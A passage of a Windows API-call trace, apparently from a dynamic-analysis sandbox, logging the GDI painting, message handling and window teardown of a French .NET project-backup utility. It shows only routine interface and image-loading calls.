type=0x1) returned 0x1b00017 [0131.905] GetCurrentObject (hdc=0x1f010827, type=0x2) returned 0x1900010 [0131.905] GetCurrentObject (hdc=0x1f010827, type=0x7) returned 0x70050254 [0131.905] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.905] SaveDC (hdc=0x1f010827) returned 1 [0131.905] GetNearestColor (hdc=0x1f010827, color=0xf0f0f0) returned 0xf0f0f0 [0131.905] GetNearestColor (hdc=0x1f010827, color=0xa0a0a0) returned 0xa0a0a0 [0131.905] GetNearestColor (hdc=0x1f010827, color=0x696969) returned 0x696969 [0131.905] GetNearestColor (hdc=0x1f010827, color=0xa0a0a0) returned 0xa0a0a0 [0131.905] GetNearestColor (hdc=0x1f010827, color=0x0) returned 0x0 [0131.905] GetNearestColor (hdc=0x1f010827, color=0xffffff) returned 0xffffff [0131.905] GetNearestColor (hdc=0x1f010827, color=0xe5e5e5) returned 0xe5e5e5 [0131.905] GetNearestColor (hdc=0x1f010827, color=0xd7d7d7) returned 0xd7d7d7 [0131.905] GetNearestColor (hdc=0x1f010827, color=0x0) returned 0x0 [0131.906] RestoreDC (hdc=0x1f010827, nSavedDC=-1) returned 1 [0131.906] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1f010827) returned 0x0 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26f39c8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetFocus () returned 0x0 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] IsThemePartDefined () returned 0x1 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] IsAppThemed () returned 0x1 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] GetThemeAppProperties () returned 0x3 [0131.906] IsThemePartDefined () returned 0x1 [0131.906] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0131.906] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0131.907] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0131.907] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0131.907] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0131.907] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.907] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.907] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.907] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.907] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.907] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.907] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0131.907] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0131.907] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0131.907] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0131.907] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0131.907] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0131.907] GetCurrentObject (hdc=0x1f010827, type=0x1) returned 0x1b00017 [0131.907] GetCurrentObject (hdc=0x1f010827, type=0x2) returned 0x1900010 [0131.907] GetCurrentObject (hdc=0x1f010827, type=0x7) returned 0x70050254 [0131.907] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.907] SaveDC (hdc=0x1f010827) returned 1 [0131.907] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7d040850 [0131.907] GetClipRgn (hdc=0x1f010827, hrgn=0x7d040850) returned 0 [0131.907] SelectClipRgn (hdc=0x1f010827, hrgn=0x800401e3) returned 2 [0131.907] DeleteObject (ho=0x7d040850) returned 1 [0131.907] DeleteObject (ho=0x800401e3) returned 1 [0131.907] OffsetViewportOrgEx (in: hdc=0x1f010827, x=0, y=0, lppt=0x26f4078 | out: lppt=0x26f4078) returned 1 [0131.907] DrawThemeParentBackground () returned 0x0 [0131.908] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0131.908] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0131.908] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0131.908] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0131.908] GetSystemMetrics (nIndex=42) returned 0 [0131.908] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0131.908] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0131.908] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0131.908] GetCurrentObject (hdc=0x1f010827, type=0x1) returned 0x1b00017 [0131.908] GetCurrentObject (hdc=0x1f010827, type=0x2) returned 0x1900010 [0131.908] GetCurrentObject (hdc=0x1f010827, type=0x7) returned 0x70050254 [0131.908] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.908] SaveDC (hdc=0x1f010827) returned 2 [0131.908] GetNearestColor (hdc=0x1f010827, color=0xf0f0f0) returned 0xf0f0f0 [0131.908] CreateSolidBrush (color=0xf0f0f0) returned 0x3010084d [0131.908] FillRect (hDC=0x1f010827, lprc=0x32e4d4, hbr=0x3010084d) returned 1 [0131.908] DeleteObject (ho=0x3010084d) returned 1 [0131.908] RestoreDC (hdc=0x1f010827, nSavedDC=-1) returned 1 [0131.908] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0131.908] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0131.908] GetSystemMetrics (nIndex=42) returned 0 [0131.908] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0131.908] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0131.908] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0131.908] GetCurrentObject (hdc=0x1f010827, type=0x1) returned 0x1b00017 [0131.908] GetCurrentObject (hdc=0x1f010827, type=0x2) returned 0x1900010 [0131.909] GetCurrentObject (hdc=0x1f010827, type=0x7) returned 0x70050254 [0131.909] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.909] SaveDC (hdc=0x1f010827) returned 2 [0131.909] GetNearestColor (hdc=0x1f010827, color=0xf0f0f0) returned 0xf0f0f0 [0131.909] CreateSolidBrush (color=0xf0f0f0) returned 0x3110084d [0131.909] FillRect (hDC=0x1f010827, lprc=0x32e474, hbr=0x3110084d) returned 1 [0131.909] DeleteObject (ho=0x3110084d) returned 1 [0131.909] RestoreDC (hdc=0x1f010827, nSavedDC=-1) returned 1 [0131.909] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0131.909] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0131.909] GetSystemMetrics (nIndex=42) returned 0 [0131.909] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0131.909] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0131.909] RestoreDC (hdc=0x1f010827, nSavedDC=-1) returned 1 [0131.909] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1f010827) returned 0x0 [0131.909] IsAppThemed () returned 0x1 [0131.909] GetThemeAppProperties () returned 0x3 [0131.909] GetThemeAppProperties () returned 0x3 [0131.909] IsAppThemed () returned 0x1 [0131.909] GetThemeAppProperties () returned 0x3 [0131.909] GetThemeAppProperties () returned 0x3 [0131.909] IsThemePartDefined () returned 0x1 [0131.909] GdipCreateRegion (region=0x32e968) returned 0x0 [0131.909] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0131.909] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0131.909] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0131.910] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0131.910] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0131.910] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.910] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0131.910] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.910] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0131.910] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0131.910] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0131.910] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0131.910] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0131.910] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0131.910] GetCurrentObject (hdc=0x1f010827, type=0x1) returned 0x1b00017 [0131.910] GetCurrentObject (hdc=0x1f010827, type=0x2) returned 0x1900010 [0131.910] GetCurrentObject (hdc=0x1f010827, type=0x7) returned 0x70050254 [0131.910] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.910] SaveDC (hdc=0x1f010827) returned 1 [0131.910] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x810401e3 [0131.910] GetClipRgn (hdc=0x1f010827, hrgn=0x810401e3) returned 0 [0131.910] SelectClipRgn (hdc=0x1f010827, hrgn=0x7f040850) returned 2 [0131.910] DeleteObject (ho=0x810401e3) returned 1 [0131.910] DeleteObject (ho=0x7f040850) returned 1 [0131.910] OffsetViewportOrgEx (in: hdc=0x1f010827, x=0, y=0, lppt=0x26f4ab0 | out: lppt=0x26f4ab0) returned 1 [0131.911] IsAppThemed () returned 0x1 [0131.911] GetThemeAppProperties () returned 0x3 [0131.911] GetThemeAppProperties () returned 0x3 [0131.911] DrawThemeBackground () returned 0x0 [0131.911] RestoreDC (hdc=0x1f010827, nSavedDC=-1) returned 1 [0131.911] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1f010827) returned 0x0 [0131.911] GdipCreateRegion (region=0x32e950) returned 0x0 [0131.911] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0131.911] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0131.911] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0131.911] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0131.911] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.911] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.911] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.911] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.911] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0131.911] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0131.911] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0131.911] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0131.911] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0131.911] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0131.911] GetCurrentObject (hdc=0x1f010827, type=0x1) returned 0x1b00017 [0131.911] GetCurrentObject (hdc=0x1f010827, type=0x2) returned 0x1900010 [0131.911] GetCurrentObject (hdc=0x1f010827, type=0x7) returned 0x70050254 [0131.912] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.912] SaveDC (hdc=0x1f010827) returned 1 [0131.912] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x80040850 [0131.912] GetClipRgn (hdc=0x1f010827, hrgn=0x80040850) returned 0 [0131.912] SelectClipRgn (hdc=0x1f010827, hrgn=0x820401e3) returned 2 [0131.912] DeleteObject (ho=0x80040850) returned 1 [0131.912] DeleteObject (ho=0x820401e3) returned 1 [0131.912] OffsetViewportOrgEx (in: hdc=0x1f010827, x=0, y=0, lppt=0x26f4d84 | out: lppt=0x26f4d84) returned 1 [0131.912] IsAppThemed () returned 0x1 [0131.912] GetThemeAppProperties () returned 0x3 [0131.912] GetThemeAppProperties () returned 0x3 [0131.912] GetThemeBackgroundContentRect () returned 0x0 [0131.912] RestoreDC (hdc=0x1f010827, nSavedDC=-1) returned 1 [0131.912] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1f010827) returned 0x0 [0131.912] IsAppThemed () returned 0x1 [0131.912] GetThemeAppProperties () returned 0x3 [0131.912] GetThemeAppProperties () returned 0x3 [0131.912] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0131.912] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0131.912] GetCurrentObject (hdc=0x1f010827, type=0x1) returned 0x1b00017 [0131.912] GetCurrentObject (hdc=0x1f010827, type=0x2) returned 0x1900010 [0131.912] GetCurrentObject (hdc=0x1f010827, type=0x7) returned 0x70050254 [0131.912] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.913] SaveDC (hdc=0x1f010827) returned 1 [0131.913] GetTextAlign (hdc=0x1f010827) returned 0x0 [0131.913] GetTextColor (hdc=0x1f010827) returned 0x0 [0131.913] GetCurrentObject (hdc=0x1f010827, type=0x6) returned 0x18a002e [0131.913] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0131.913] SelectObject (hdc=0x1f010827, h=0x100a0252) returned 0x18a002e [0131.913] GetBkMode (hdc=0x1f010827) returned 2 [0131.913] SetBkMode (hdc=0x1f010827, mode=1) returned 2 [0131.913] DrawTextExW (in: hdc=0x1f010827, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26f5118 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0131.913] DrawTextExW (in: hdc=0x1f010827, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26f5118 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0131.913] RestoreDC (hdc=0x1f010827, nSavedDC=-1) returned 1 [0131.913] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1f010827) returned 0x0 [0131.913] GetFocus () returned 0x0 [0131.913] IsAppThemed () returned 0x1 [0131.913] GetThemeAppProperties () returned 0x3 [0131.913] GetThemeAppProperties () returned 0x3 [0131.913] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0131.913] BitBlt (hdc=0xd01025e, x=0, y=0, cx=163, cy=29, hdcSrc=0x1f010827, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.914] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1f010827) returned 0x0 [0131.914] SelectPalette (hdc=0xd01025e, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0131.914] SelectObject (hdc=0x1f010827, h=0x185000f) returned 0x70050254 [0131.914] DeleteDC (hdc=0x1f010827) returned 1 [0131.914] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0131.914] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0131.914] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0131.914] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0131.914] WaitMessage () returned 1 [0136.013] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0136.013] NtdllDefWindowProc_W () returned 0x1 [0136.013] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0136.014] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0136.014] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0136.014] WaitMessage () returned 1 [0138.610] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0138.610] NtdllDefWindowProc_W () returned 0x1 [0138.769] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1 [0138.769] NtdllDefWindowProc_W () returned 0x0 [0138.769] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0138.769] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0138.770] NtdllDefWindowProc_W () returned 0x1 [0138.770] NtdllDefWindowProc_W () returned 0x0 [0138.770] NtdllDefWindowProc_W () returned 0x0 [0138.770] NtdllDefWindowProc_W () returned 0x0 [0138.770] NtdllDefWindowProc_W () returned 0x0 [0138.771] IsWindowUnicode (hWnd=0x500fe) returned 1 [0138.771] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0138.771] TranslateMessage (lpMsg=0x32f158) returned 0 [0138.771] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0138.771] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0138.771] IsWindowUnicode (hWnd=0x500fe) returned 1 [0138.771] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0138.771] GetAncestor (hwnd=0x500fe, gaFlags=0x1) returned 0x10010 [0138.771] GetAncestor (hwnd=0x10010, gaFlags=0x1) returned 0x0 [0138.771] GetAncestor (hwnd=0x500fe, gaFlags=0x2) returned 0x500fe [0138.807] IsDialogMessageW (hDlg=0x500fe, lpMsg=0x32f158) returned 1 [0138.808] NtdllDefWindowProc_W () returned 0x0 [0138.808] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0138.808] NtdllDefWindowProc_W () returned 0x2 [0138.809] NtdllDefWindowProc_W () returned 0x0 [0138.823] DestroyCursor (hCursor=0x80199) returned 1 [0138.841] GetWindowLongW (hWnd=0x50120, nIndex=-20) returned 590080 [0138.841] DestroyWindow (hWnd=0x50120) returned 1 [0138.841] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0138.841] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32e8b8) returned 0x0 [0138.843] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e668 | out: lpwndpl=0x32e668) returned 1 [0138.843] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32e8b8) returned 0x0 [0138.843] GetClientRect (in: hWnd=0x50120, lpRect=0x32e618 | out: lpRect=0x32e618) returned 1 [0138.843] GetWindowRect (in: hWnd=0x50120, lpRect=0x32e618 | out: lpRect=0x32e618) returned 1 [0138.895] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.895] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.900] SendMessageW (hWnd=0x301ac, Msg=0x188, wParam=0x0, lParam=0x0) returned 0xffffffff [0138.900] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x188, wParam=0x0, lParam=0x0) returned 0xffffffff [0138.901] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.901] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.902] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.902] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.903] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.903] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.903] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.903] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.904] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.904] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.904] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.904] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.905] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.905] DestroyWindow (hWnd=0x301b4) returned 1 [0138.905] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0138.905] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.905] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.917] GetMessageA (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 0 Thread: id = 2 os_tid = 0x7c8 Thread: id = 3 os_tid = 0x5d0 [0029.981] CoGetContextToken (in: pToken=0x24af83c | out: pToken=0x24af83c) returned 0x800401f0 [0029.982] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 4 os_tid = 0x7d8 Thread: id = 5 os_tid = 0x6c8 Thread: id = 6 os_tid = 0x704 Thread: id = 7 os_tid = 0x590 [0046.135] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0048.332] GdipLoadImageFromStream (stream=0x420030, image=0x563eb20) returned 0x0 [0050.812] GdipImageForceValidation (image=0x4c27818) returned 0x0 [0051.295] GdipGetImageType (image=0x4c27818, type=0x563eb1c) returned 0x0 [0051.296] GdipGetImageRawFormat (image=0x4c27818, format=0x563eaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0051.311] GdipLoadImageFromStream (stream=0x420010, image=0x563eb20) returned 0x0 [0051.314] GdipImageForceValidation (image=0x4c34fd0) returned 0x0 [0051.318] GdipGetImageType (image=0x4c34fd0, type=0x563eb1c) returned 0x0 [0051.318] GdipGetImageRawFormat (image=0x4c34fd0, format=0x563eaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0051.331] GdipLoadImageFromStream (stream=0x42fff0, image=0x563eb20) returned 0x0 [0051.332] GdipImageForceValidation (image=0x4c35300) returned 0x0 [0051.333] GdipGetImageType (image=0x4c35300, type=0x563eb1c) returned 0x0 [0051.333] GdipGetImageRawFormat (image=0x4c35300, format=0x563eaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0051.706] CoCreateGuid 